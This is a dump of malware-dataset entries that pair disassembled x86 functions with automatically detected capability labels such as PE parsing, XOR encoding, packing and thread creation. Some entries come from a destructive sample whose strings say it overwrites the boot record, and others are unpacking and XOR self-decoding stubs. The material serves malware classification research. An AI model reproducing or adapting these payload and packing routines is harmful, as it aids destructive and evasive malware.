joyce8/EMBER2024-capa huggingface dataset:
Function at 0x420294
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff0
push ebx
push esi
push edi
xor ebx, ebx
mov dword [ebp - 0x10], ebx
mov word [ebp - 4], cx
mov byte [ebp - 1], dl
xor eax, eax
push ebp
push 0x1b178af
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp + 8]
call fcn.00404cd0
xor ebx, ebx
mov eax, ebx
and eax, 0x80000001
jns 0x4202cf
dec eax
or eax, 0xfffffffe
inc eax
test eax, eax
jne 0x4202e8
lea eax, [ebp - 0x10]
mov edx, dword [0x1b3454c]
mov edx, dword [edx]
mov edx, dword [edx + 0xc]
call fcn.00404d30
jmp 0x4202fb
lea eax, [ebp - 0x10]
mov edx, dword [0x1b3454c]
mov edx, dword [edx]
mov edx, dword [edx + 0x10]
call fcn.00404d30
lea eax, [ebp - 0x10]
mov edx, ebx
sar edx, 1
jns 0x420307
adc edx, 0
mov edx, dword [edx*4 + 0x1b33378]
call fcn.00404f20
push 0
push 0x80
push 3
push 0
push 1
push 0x80000000
mov eax, dword [ebp - 0x10]
call fcn.00404f04
push eax
call fcn.00406b1c
mov esi, eax
cmp esi, 0xffffffff
je 0x420481
mov eax, 0x40
call fcn.00403268
mov edi, eax
push 0
lea eax, [ebp - 8]
push eax
push 0x40
push edi
push esi
call fcn.00406d7c
test eax, eax
je 0x420474
mov eax, edi
cmp word [eax], 0x5a4d
jne 0x420474
push 0
push 0
mov eax, dword [eax + 0x3c]
push eax
push esi
call fcn.00406ddc
mov eax, edi
call fcn.00403288
mov eax, 0x18
call fcn.00403268
mov edi, eax
push 0
lea eax, [ebp - 8]
push eax
push 0x18
push edi
push esi
call fcn.00406d7c
test eax, eax
je 0x420474
mov eax, edi
cmp dword [eax], 0x4550
jne 0x420474
add eax, 4
mov dword [ebp - 0xc], eax
cmp byte [ebp - 1], 0
je 0x420412
mov eax, dword [ebp - 0xc]
cmp word [eax], 0x8664
jne 0x420412
mov eax, edi
call fcn.00403288
mov eax, 0xf0
call fcn.00403268
mov edi, eax
push 0
lea eax, [ebp - 8]
push eax
push 0xf0
push edi
push esi
call fcn.00406d7c
test eax, eax
je 0x420412
mov eax, edi
mov dx, word [eax + 0x44]
cmp dx, word [ebp - 4]
jne 0x420412
mov eax, dword [eax + 0x10]
mov edx, dword [ebp + 0xc]
mov dword [edx], eax
mov eax, dword [ebp + 8]
mov edx, dword [ebp - 0x10]
call fcn.00404d0c
cmp byte [ebp - 1], 0
jne 0x420474
mov eax, dword [ebp - 0xc]
cmp word [eax], 0x14c
jb 0x420474
mov eax, dword [ebp - 0xc]
cmp word [eax], 0x150
ja 0x420474
mov eax, edi
call fcn.00403288
mov eax, 0xe0
call fcn.00403268
mov edi, eax
push 0
lea eax, [ebp - 8]
push eax
push 0xe0
push edi
push esi
call fcn.00406d7c
test eax, eax
je 0x420474
mov eax, edi
mov dx, word [eax + 0x44]
cmp dx, word [ebp - 4]
jne 0x420474
mov eax, dword [eax + 0x10]
mov edx, dword [ebp + 0xc]
mov dword [edx], eax
mov eax, dword [ebp + 8]
mov edx, dword [ebp - 0x10]
call fcn.00404d0c
mov eax, edi
call fcn.00403288
push esi
call fcn.00406ad4
mov eax, dword [ebp + 8]
mov eax, dword [eax]
xor edx, edx
call fcn.0040502c
jne 0x420499
inc ebx
cmp ebx, 0x19
jne 0x4202c1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x1b178b6
lea eax, [ebp - 0x10]
call fcn.00404cd0
ret
Function at 0x401d00
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
mov eax, 0xafcc0
call fcn.0040ba90
mov eax, dword [0x413004]
xor eax, ebp
mov dword [ebp - 4], eax
xor eax, eax
mov dword [ebp - 0xafca0], 0
push eax
push eax
push eax
mov word [ebp - 0xafc8c], ax
lea eax, [ebp - 0xafc9c]
push eax
push 0xffffffffffffffff
lea eax, [ebp - 0xafca0]
mov dword [ebp - 0xafc9c], 0x10001
push eax
mov dword [ebp - 0xafc98], 0x5dc0
mov dword [ebp - 0xafc94], 0x5dc0
mov dword [ebp - 0xafc90], 0x80001
call dword [sym.imp.WINMM.dll_waveOutOpen]
push 0xafc80
lea eax, [ebp - 0xafc88]
push 0
push eax
call fcn.004031a0
add esp, 0xc
xor ecx, ecx
mov edx, ecx
mov eax, ecx
shr eax, 5
or eax, ecx
shr edx, 8
xor edx, ecx
imul edx, eax
mov eax, ecx
shr eax, 7
or eax, ecx
add edx, eax
mov eax, ecx
shl eax, 4
or eax, ecx
add edx, eax
mov eax, 0x10624dd3
mul edx
shr edx, 6
mov byte [ebp + ecx - 0xafc88], dl
inc ecx
cmp ecx, 0xafc80
jb 0x401d83
lea eax, [ebp - 0xafc88]
mov dword [ebp - 0xafcbc], 0xafc80
mov dword [ebp - 0xafcc0], eax
lea eax, [ebp - 0xafcc0]
push 0x20
push eax
push dword [ebp - 0xafca0]
mov dword [ebp - 0xafcb8], 0
mov dword [ebp - 0xafcb4], 0
mov dword [ebp - 0xafcb0], 0
mov dword [ebp - 0xafcac], 0
mov dword [ebp - 0xafca8], 0
mov dword [ebp - 0xafca4], 0
call dword [sym.imp.WINMM.dll_waveOutPrepareHeader]
push 0x20
lea eax, [ebp - 0xafcc0]
push eax
push dword [ebp - 0xafca0]
call dword [sym.imp.WINMM.dll_waveOutWrite]
push 0x20
lea eax, [ebp - 0xafcc0]
push eax
push dword [ebp - 0xafca0]
call dword [sym.imp.WINMM.dll_waveOutUnprepareHeader]
push dword [ebp - 0xafca0]
call dword [sym.imp.WINMM.dll_waveOutClose]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00402493
mov esp, ebp
pop ebp
ret
Function at 0x401e70
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
mov eax, 0xafcc0
call fcn.0040ba90
mov eax, dword [0x413004]
xor eax, ebp
mov dword [ebp - 4], eax
xor eax, eax
mov dword [ebp - 0xafca0], 0
push eax
push eax
push eax
mov word [ebp - 0xafc8c], ax
lea eax, [ebp - 0xafc9c]
push eax
push 0xffffffffffffffff
lea eax, [ebp - 0xafca0]
mov dword [ebp - 0xafc9c], 0x10001
push eax
mov dword [ebp - 0xafc98], 0x5dc0
mov dword [ebp - 0xafc94], 0x5dc0
mov dword [ebp - 0xafc90], 0x80001
call dword [sym.imp.WINMM.dll_waveOutOpen]
push 0xafc80
lea eax, [ebp - 0xafc88]
push 0
push eax
call fcn.004031a0
add esp, 0xc
xor eax, eax
mov edx, eax
mov ecx, eax
shr ecx, 5
or cl, al
shr edx, 8
xor dl, al
movsx ecx, cl
movsx edx, dl
imul edx, ecx
mov ecx, eax
shr ecx, 7
or cl, al
add dl, cl
mov cl, al
shl cl, 4
or cl, al
add dl, cl
mov byte [ebp + eax - 0xafc88], dl
inc eax
cmp eax, 0xafc80
jb 0x401ef3
lea eax, [ebp - 0xafc88]
mov dword [ebp - 0xafcbc], 0xafc80
mov dword [ebp - 0xafcc0], eax
lea eax, [ebp - 0xafcc0]
push 0x20
push eax
push dword [ebp - 0xafca0]
mov dword [ebp - 0xafcb8], 0
mov dword [ebp - 0xafcb4], 0
mov dword [ebp - 0xafcb0], 0
mov dword [ebp - 0xafcac], 0
mov dword [ebp - 0xafca8], 0
mov dword [ebp - 0xafca4], 0
call dword [sym.imp.WINMM.dll_waveOutPrepareHeader]
push 0x20
lea eax, [ebp - 0xafcc0]
push eax
push dword [ebp - 0xafca0]
call dword [sym.imp.WINMM.dll_waveOutWrite]
push 0x20
lea eax, [ebp - 0xafcc0]
push eax
push dword [ebp - 0xafca0]
call dword [sym.imp.WINMM.dll_waveOutUnprepareHeader]
push dword [ebp - 0xafca0]
call dword [sym.imp.WINMM.dll_waveOutClose]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00402493
mov esp, ebp
pop ebp
ret
Function at 0x401fe0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
mov eax, 0xafcc0
call fcn.0040ba90
mov eax, dword [0x413004]
xor eax, ebp
mov dword [ebp - 4], eax
xor eax, eax
mov dword [ebp - 0xafca0], 0
push eax
push eax
push eax
mov word [ebp - 0xafc8c], ax
lea eax, [ebp - 0xafc9c]
push eax
push 0xffffffffffffffff
lea eax, [ebp - 0xafca0]
mov dword [ebp - 0xafc9c], 0x10001
push eax
mov dword [ebp - 0xafc98], 0x5dc0
mov dword [ebp - 0xafc94], 0x5dc0
mov dword [ebp - 0xafc90], 0x80001
call dword [sym.imp.WINMM.dll_waveOutOpen]
push 0xafc80
lea eax, [ebp - 0xafc88]
push 0
push eax
call fcn.004031a0
add esp, 0xc
xor eax, eax
mov edx, eax
mov ecx, eax
shr ecx, 5
or cl, al
shr edx, 7
or dl, al
add dl, cl
mov cl, al
shl cl, 4
or cl, al
add dl, cl
mov ecx, eax
shr ecx, 8
xor cl, al
or dl, cl
mov byte [ebp + eax - 0xafc88], dl
inc eax
cmp eax, 0xafc80
jb 0x402063
lea eax, [ebp - 0xafc88]
mov dword [ebp - 0xafcbc], 0xafc80
mov dword [ebp - 0xafcc0], eax
lea eax, [ebp - 0xafcc0]
push 0x20
push eax
push dword [ebp - 0xafca0]
mov dword [ebp - 0xafcb8], 0
mov dword [ebp - 0xafcb4], 0
mov dword [ebp - 0xafcb0], 0
mov dword [ebp - 0xafcac], 0
mov dword [ebp - 0xafca8], 0
mov dword [ebp - 0xafca4], 0
call dword [sym.imp.WINMM.dll_waveOutPrepareHeader]
push 0x20
lea eax, [ebp - 0xafcc0]
push eax
push dword [ebp - 0xafca0]
call dword [sym.imp.WINMM.dll_waveOutWrite]
push 0x20
lea eax, [ebp - 0xafcc0]
push eax
push dword [ebp - 0xafca0]
call dword [sym.imp.WINMM.dll_waveOutUnprepareHeader]
push dword [ebp - 0xafca0]
call dword [sym.imp.WINMM.dll_waveOutClose]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00402493
mov esp, ebp
pop ebp
ret
Function at 0x402140
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
mov eax, 0xafcc0
call fcn.0040ba90
mov eax, dword [0x413004]
xor eax, ebp
mov dword [ebp - 4], eax
xor eax, eax
mov dword [ebp - 0xafca0], 0
push eax
push eax
push eax
mov word [ebp - 0xafc8c], ax
lea eax, [ebp - 0xafc9c]
push eax
push 0xffffffffffffffff
lea eax, [ebp - 0xafca0]
mov dword [ebp - 0xafc9c], 0x10001
push eax
mov dword [ebp - 0xafc98], 0x5dc0
mov dword [ebp - 0xafc94], 0x5dc0
mov dword [ebp - 0xafc90], 0x80001
call dword [sym.imp.WINMM.dll_waveOutOpen]
push 0xafc80
lea eax, [ebp - 0xafc88]
push 0
push eax
call fcn.004031a0
add esp, 0xc
xor eax, eax
mov cl, al
mov edx, eax
shl cl, 4
or cl, al
shr edx, 5
or dl, al
add dl, cl
mov ecx, eax
shr ecx, 8
xor cl, al
and dl, cl
mov ecx, eax
shr ecx, 7
or cl, al
and dl, cl
mov byte [ebp + eax - 0xafc88], dl
inc eax
cmp eax, 0xafc80
jb 0x4021c3
lea eax, [ebp - 0xafc88]
mov dword [ebp - 0xafcbc], 0xafc80
mov dword [ebp - 0xafcc0], eax
lea eax, [ebp - 0xafcc0]
push 0x20
push eax
push dword [ebp - 0xafca0]
mov dword [ebp - 0xafcb8], 0
mov dword [ebp - 0xafcb4], 0
mov dword [ebp - 0xafcb0], 0
mov dword [ebp - 0xafcac], 0
mov dword [ebp - 0xafca8], 0
mov dword [ebp - 0xafca4], 0
call dword [sym.imp.WINMM.dll_waveOutPrepareHeader]
push 0x20
lea eax, [ebp - 0xafcc0]
push eax
push dword [ebp - 0xafca0]
call dword [sym.imp.WINMM.dll_waveOutWrite]
push 0x20
lea eax, [ebp - 0xafcc0]
push eax
push dword [ebp - 0xafca0]
call dword [sym.imp.WINMM.dll_waveOutUnprepareHeader]
push dword [ebp - 0xafca0]
call dword [sym.imp.WINMM.dll_waveOutClose]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00402493
mov esp, ebp
pop ebp
ret
Function at 0x4022c0
Capabilities:
Create thread
Terminate process
Terminate thread

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push ecx
push ebx
push esi
push edi
push str.user32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov esi, eax
test esi, esi
je 0x4022f4
push str.SetProcessDPIAware
push esi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x4022ed
call eax
push esi
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
call dword [sym.imp.COMCTL32.dll_InitCommonControls]
mov esi, dword [sym.imp.USER32.dll_MessageBoxW]
push 0x34
push str.webm.exe_by_pankoza
push str.This_is_a_Short_Malware__Run_
push 0
call esi
cmp eax, 7
jne 0x40231d
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
push 0x34
push 0x411cf8
push str.Are_you_sure__It_will_overwrite_the_boot_record_and_it_contains_flashing_lights___NOT_for_epilepsy
push 0
call esi
cmp eax, 7
jne 0x40233a
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov ebx, dword [sym.imp.KERNEL32.dll_Sleep]
push 0x7d0
call ebx
mov edi, dword [sym.imp.KERNEL32.dll_CreateThread]
push 0
push 0
push 0
push 0x4022a0
push 0
push 0
call edi
push 0x1388
call ebx
push 0
push 0
push 0
push 0x4012e0
push 0
push 0
call edi
mov esi, eax
call fcn.00401d00
push 0x7530
call ebx
push 0
push esi
call dword [sym.imp.KERNEL32.dll_TerminateThread]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ebx, dword [sym.imp.USER32.dll_InvalidateRect]
push 0
push 0
push 0
call ebx
push 0
push 0
push 0
push 0x401550
push 0
push 0
call edi
push 0
push 0
push 0
push 0x4015f0
push 0
push 0
mov edi, eax
call dword [sym.imp.KERNEL32.dll_CreateThread]
push 0
push 0
push 0
push 0x401730
push 0
push 0
mov esi, eax
call dword [sym.imp.KERNEL32.dll_CreateThread]
call fcn.00401e70
push 0x7530
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
push edi
call dword [sym.imp.KERNEL32.dll_TerminateThread]
push edi
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call edi
push 0
push esi
call dword [sym.imp.KERNEL32.dll_TerminateThread]
push esi
call edi
push 0
push 0
push 0
call ebx
push 0
push 0
push 0
push 0x401850
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov esi, eax
call fcn.00401fe0
push 0x7530
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
push esi
call dword [sym.imp.KERNEL32.dll_TerminateThread]
push esi
call edi
push 0
push 0
push 0
call ebx
mov ebx, dword [sym.imp.KERNEL32.dll_CreateThread]
push 0
push 0
push 0
push 0x401a60
push 0
push 0
call ebx
push 0
push 0
push 0
push 0x401c50
push 0
push 0
call ebx
call fcn.00402140
push 0x7530
call dword [sym.imp.KERNEL32.dll_Sleep]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0x10
Function at 0x471910
Capabilities:
Packed with generic packer

Disassembly:
cmp byte [esp + 8], 1
jne 0x471aa1
pushal
mov esi, 0x44802e
lea edi, [esi - 0x4702e]
push edi
or ebp, 0xffffffff
jmp 0x47193a
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x471941
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x471930
mov eax, 1
add ebx, ebx
jne 0x471953
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x471948
jne 0x471964
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x471948
xor ecx, ecx
sub eax, 3
jb 0x471978
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x4719ea
mov ebp, eax
add ebx, ebx
jne 0x471983
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jne 0x471990
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jne 0x4719b4
inc ecx
add ebx, ebx
jne 0x4719a0
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x471995
jne 0x4719b1
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x471995
add ecx, 2
cmp ebp, 0xfffff300
adc ecx, 1
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x4719d4
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x4719c5
jmp 0x471936
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x4719d4
add edi, ecx
jmp 0x471936
pop esi
mov edi, esi
mov ecx, 0x27be
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x4719f2
cmp byte [edi], 0xd
jne 0x4719f2
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov eax, ebx
loop 0x4719f7
lea edi, [esi + 0x6b000]
mov eax, dword [edi]
or eax, eax
je 0x471a6f
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x715d8]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x716a0]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x471a24
mov ecx, edi
jns 0x471a53
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x716a4]
or eax, eax
je 0x471a69
mov dword [ebx], eax
add ebx, 4
jmp 0x471a41
popal
xor eax, eax
ret 0xc
add edi, 4
lea ebx, [esi - 4]
xor eax, eax
mov al, byte [edi]
inc edi
or eax, eax
je 0x471aa0
cmp al, 0xef
ja 0x471a93
add ebx, eax
mov eax, dword [ebx]
xchg ah, al
rol eax, 0x10
xchg ah, al
add eax, esi
mov dword [ebx], eax
jmp 0x471a75
and al, 0xf
shl eax, 0x10
mov ax, word [edi]
add edi, 2
jmp 0x471a82
popal
jmp section..text

Function at 0x430000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
call 0x43000c
nop
nop
nop
nop
pop eax
nop
nop
add eax, 0x403d7a
sub eax, 0x403d20
nop
nop
mov ebx, dword [eax]
nop
nop
nop
mov ecx, dword [eax + 4]
nop
nop
nop
nop
nop
mov edx, dword [eax + 8]
nop
nop
nop
nop
xor dword [ebx], edx
nop
nop
add ebx, 4
nop
nop
nop
cmp ebx, ecx
nop
nop
nop
nop
nop
nop
jl 0x430030
nop
nop
add eax, 0xc
nop
nop
nop
cmp dword [eax], 0
nop
nop
nop
nop
nop
nop
jne 0x43001e
nop
nop
nop
nop
nop
popal
jmp loc.00401219
Function at 0x402420
Capabilities:
Terminate process

Disassembly:
push esi
push 0x73
mov esi, ecx
push 0
call fcn.00401110
push 0x72
push 0
call fcn.00401110
push 0x69
push 0
call fcn.00401040
push 0x6a
push 0
call fcn.00401040
push 0x6d
push 0
call fcn.00401040
push 0x6e
push 0
call fcn.004010b0
push 0x6b
push 0
call fcn.00401040
push 0x6c
push 0
call fcn.00401040
push 0x6f
push 0
call fcn.00401040
push 0x71
push 0
call fcn.004010b0
push 0x70
push 0
call fcn.004010b0
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
add esi, 0xc0
push str.Internal_Error_:1__errorcode_:_d_t
push esi
call fcn.00401000
add esp, 0xc
push 0
call fcn.0040b29f
pop esi
nop
nop
nop
nop
nop
nop
nop
ret

Function at 0x40d209
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1a4
mov edx, dword [ebp + 8]
xor ecx, ecx
mov eax, 0x42dd40
cmp edx, dword [eax]
je 0x40d22b
add eax, 8
inc ecx
cmp eax, 0x42ddd0
jl 0x40d21c
push esi
mov esi, ecx
shl esi, 3
cmp edx, dword [esi + 0x42dd40]
jne 0x40d359
mov eax, dword [0x43155c]
cmp eax, 1
je 0x40d333
test eax, eax
jne 0x40d25c
cmp dword [0x42dabc], 1
je 0x40d333
cmp edx, 0xfc
je 0x40d359
lea eax, [ebp - 0x1a4]
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
jne 0x40d293
lea eax, [ebp - 0x1a4]
push str._program_name_unknown_
push eax
call fcn.0040fa10
pop ecx
pop ecx
lea eax, [ebp - 0x1a4]
push edi
push eax
lea edi, [ebp - 0x1a4]
call fcn.0040f900
inc eax
pop ecx
cmp eax, 0x3c
jbe 0x40d2d6
lea eax, [ebp - 0x1a4]
push eax
call fcn.0040f900
mov edi, eax
lea eax, [ebp - 0x1a4]
sub eax, 0x3b
push 3
add edi, eax
push 0x425f3c
push edi
call fcn.0040fb00
add esp, 0x10
lea eax, [ebp - 0xa0]
push str.Runtime_Error__n_nProgram:
push eax
call fcn.0040fa10
lea eax, [ebp - 0xa0]
push edi
push eax
call fcn.0040fa20
lea eax, [ebp - 0xa0]
push 0x425f1c
push eax
call fcn.0040fa20
push dword [esi + 0x42dd44]
lea eax, [ebp - 0xa0]
push eax
call fcn.0040fa20
push 0x12010
lea eax, [ebp - 0xa0]
push str.Microsoft_Visual_C_Runtime_Library
push eax
call fcn.0040f97b
add esp, 0x2c
pop edi
jmp 0x40d359
lea eax, [ebp + 8]
lea esi, [esi + 0x42dd44]
push 0
push eax
push dword [esi]
call fcn.0040f900
pop ecx
push eax
push dword [esi]
push 0xfffffffffffffff4
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
pop esi
leave
ret
Function at 0x4160f0
Capabilities:
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
push edi
mov esi, dword [ebp + 0x10]
push 0xf00021
mov edx, dword [esi + 4]
mov ecx, dword [esi]
mov eax, dword [esi + 0xc]
sub eax, edx
push eax
mov eax, dword [esi + 8]
sub eax, ecx
push eax
push edx
push ecx
mov ecx, dword [ebp + 0xc]
push ecx
call dword [sym.imp.GDI32.dll_PatBlt]
mov edi, dword [ebp + 8]
push edi
call dword [sym.imp.USER32.dll_GetWindowTextLengthA]
mov ebx, eax
lea eax, [eax + 5]
add eax, 3
and eax, 0xfffffffc
call fcn.0040ad70
mov dword [ebp - 4], esp
cmp dword [ebp - 4], 0
je 0x4161bb
add ebx, 2
mov eax, dword [ebp - 4]
push ebx
push eax
push edi
call dword [sym.imp.USER32.dll_GetWindowTextA]
test eax, eax
je 0x4161bb
mov bx, 0x140
mov edi, dword [ebp + 0x14]
mov eax, edi
and al, 0xf
cmp al, 0xc
je 0x41616e
mov ebx, edi
and bx, 0xf
or bx, 0x150
test edi, 0x80
je 0x416179
or bh, 8
and edi, 0x8000000
je 0x416194
mov eax, dword [0x432e1c]
mov ecx, dword [ebp + 0xc]
push eax
push ecx
call dword [sym.imp.GDI32.dll_SetTextColor]
mov dword [ebp - 8], eax
mov ecx, dword [ebp - 4]
mov edx, dword [ebp + 0xc]
movzx eax, bx
push eax
push esi
push 0xffffffffffffffff
push ecx
push edx
call dword [sym.imp.USER32.dll_DrawTextA]
test edi, edi
je 0x4161bb
mov eax, dword [ebp - 8]
mov ecx, dword [ebp + 0xc]
push eax
push ecx
call dword [sym.imp.GDI32.dll_SetTextColor]
lea esp, [ebp - 0x14]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x416590
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov eax, dword [esp + 8]
sub esp, 4
push ebx
push esi
mov esi, dword [esp + 0x10]
push edi
push ebp
push 2
push eax
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
mov edi, eax
test edi, edi
jne 0x4165bb
xor eax, eax
pop ebp
pop edi
pop esi
pop ebx
add esp, 4
ret 0x20
push edi
push esi
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov ebx, eax
push edi
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov esi, eax
test esi, esi
jne 0x4165df
xor eax, eax
pop ebp
pop edi
pop esi
pop ebx
add esp, 4
ret 0x20
push ebx
push 0x40
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov ebp, eax
test ebp, ebp
jne 0x4165fa
xor eax, eax
pop ebp
pop edi
pop esi
pop ebx
add esp, 4
ret 0x20
mov edi, ebp
mov ecx, ebx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov eax, dword [esp + 0x20]
xor ecx, ecx
mov cl, ah
mov edx, eax
mov dword [esp + 0x10], 0
shl ecx, 8
shr edx, 0x10
mov byte [esp + 0x10], dl
xor edx, edx
or ecx, dword [esp + 0x10]
mov dl, al
shl edx, 0x10
mov eax, dword [esp + 0x28]
or ecx, edx
mov edx, eax
shr edx, 0x10
mov dword [ebp + 0x28], ecx
mov dword [esp + 0x10], 0
xor ecx, ecx
mov byte [esp + 0x10], dl
mov cl, ah
xor edx, edx
shl ecx, 8
mov dl, al
shl edx, 0x10
or ecx, dword [esp + 0x10]
or ecx, edx
mov eax, dword [esp + 0x24]
mov edx, eax
mov dword [ebp + 0x44], ecx
shr edx, 0x10
xor ecx, ecx
mov dword [esp + 0x10], 0
mov cl, ah
mov byte [esp + 0x10], dl
shl ecx, 8
xor edx, edx
or ecx, dword [esp + 0x10]
mov dl, al
shl edx, 0x10
mov eax, dword [esp + 0x2c]
or ecx, edx
xor edx, edx
mov dl, al
mov dword [ebp + 0x48], ecx
shl edx, 0x10
xor ecx, ecx
mov cl, ah
shl ecx, 8
shr eax, 0x10
or ecx, edx
xor edx, edx
mov dl, al
mov eax, dword [esp + 0x30]
or ecx, edx
xor edx, edx
mov dl, al
mov dword [ebp + 0x64], ecx
shl edx, 0x10
xor ecx, ecx
mov cl, ah
shl ecx, 8
shr eax, 0x10
or ecx, edx
xor edx, edx
mov dl, al
mov eax, dword [esp + 0x34]
or ecx, edx
xor edx, edx
mov dl, al
mov dword [ebp + 0x54], ecx
shl edx, 0x10
xor ecx, ecx
mov cl, ah
shl ecx, 8
push 0
shr eax, 0x10
or ecx, edx
xor edx, edx
mov dl, al
or ecx, edx
mov dword [ebp + 0x50], ecx
call dword [sym.imp.USER32.dll_GetDC]
mov edi, eax
push 0
push ebp
lea ecx, [ebp + 0x68]
push ecx
push 4
push ebp
push edi
call dword [sym.imp.GDI32.dll_CreateDIBitmap]
mov esi, eax
push edi
push 0
call dword [sym.imp.USER32.dll_ReleaseDC]
push ebp
call dword [sym.imp.KERNEL32.dll_GlobalFree]
mov eax, esi
pop ebp
pop edi
pop esi
pop ebx
add esp, 4
ret 0x20
Function at 0x41a83a
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebx
push esi
push edi
xor edi, edi
cmp dword [esp + 0x10], edi
mov ebx, ecx
je 0x41a87c
call fcn.0041f15d
mov esi, dword [eax + 0xc]
push 0xf0
push dword [esp + 0x14]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceW]
cmp eax, edi
je 0x41a87c
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
cmp eax, edi
jne 0x41a873
xor eax, eax
jmp 0x41a884
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov edi, eax
push edi
mov ecx, ebx
call fcn.0041a88a
pop edi
pop esi
pop ebx
ret 4

Function at 0x41f715
Capabilities:
Get thread local storage value

Disassembly:
push ebx
push esi
mov esi, ecx
lea ebx, [esi + 0x1c]
push ebx
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
cmp dword [esp + 0x10], 0
jne 0x41f743
push dword [esi]
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
test eax, eax
je 0x41f761
push dword [esp + 0xc]
mov ecx, esi
push eax
call fcn.0041f67b
jmp 0x41f761
mov eax, dword [esi + 0x14]
test eax, eax
je 0x41f761
push edi
push dword [esp + 0x10]
mov edi, dword [eax + 4]
mov ecx, esi
push eax
call fcn.0041f67b
test edi, edi
mov eax, edi
jne 0x41f74b
pop edi
push ebx
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
pop esi
pop ebx
ret 8